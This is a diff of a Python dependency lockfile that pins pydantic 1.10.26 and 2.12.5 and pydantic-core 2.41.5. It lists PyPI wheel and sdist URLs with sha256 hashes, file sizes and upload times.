+ { url = "https://files.pythonhosted.org/packages/d4/9d/d31aeea45542b2ae4b09ecba92b88aaba696b801c31919811aa979a1242d/pydantic-1.10.26-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c3bbb9c0eecdf599e4db9b372fa9cc55be12e80a0d9c6d307950a39050cb0e37", size = 2269494, upload-time = "2025-12-18T15:47:14.53Z" },
+ { url = "https://files.pythonhosted.org/packages/78/c1/3a4d069593283ca4dd0006039ba33644e21e432cddc09da706ac50441610/pydantic-1.10.26-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cc2e3fe7bc4993626ef6b6fa855defafa1d6f8996aa1caef2deb83c5ac4d043a", size = 2620047, upload-time = "2025-12-18T15:47:17.089Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/0e/340c3d29197d99c15ab04093d43bb9c9d0fd17c2a34b80cb9d36ed732b09/pydantic-1.10.26-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:36d9e46b588aaeb1dcd2409fa4c467fe0b331f3cc9f227b03a7a00643704e962", size = 2747625, upload-time = "2025-12-18T15:47:19.21Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/58/f12ab3727339b172c830b32151919456b67787cdfe8808b2568b322fb15c/pydantic-1.10.26-cp314-cp314-win_amd64.whl", hash = "sha256:81ce3c8616d12a7be31b4aadfd3434f78f6b44b75adbfaec2fe1ad4f7f999b8c", size = 1976436, upload-time = "2025-12-18T15:47:21.384Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/98/556e82f00b98486def0b8af85da95e69d2be7e367cf2431408e108bc3095/pydantic-1.10.26-py3-none-any.whl", hash = "sha256:c43ad70dc3ce7787543d563792426a16fd7895e14be4b194b5665e36459dd917", size = 166975, upload-time = "2025-12-18T15:47:44.927Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.12.5"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+ "python_full_version >= '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'emscripten'",
+ "python_full_version == '3.11.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version < '3.11'",
+]
+dependencies = [
+ { name = "annotated-types", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
+ { name = "pydantic-core", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
+ { name = "typing-extensions", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
+ { name = "typing-inspection", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" },
]
[[package]]
name = "pydantic-core"
-version = "2.46.4"
+version = "2.41.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions", marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" },
+ { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" },
+ { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" },
+ { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" },
+ { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" },
+ { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" },
+ { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" },
+ { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" },
+ { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" },
+ { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" },
+ { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" },
+ { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" },
+ { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" },
+ { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" },
+ { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" },
+ { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" },
+ { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" },
+ { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" },
+ { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" },
+ { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" },
+ { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" },
+ { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" },
+ { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" },
+ { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" },
+ { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" },
+ { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" },
+ { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" },
+ { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" },
+ { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" },
+ { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" },
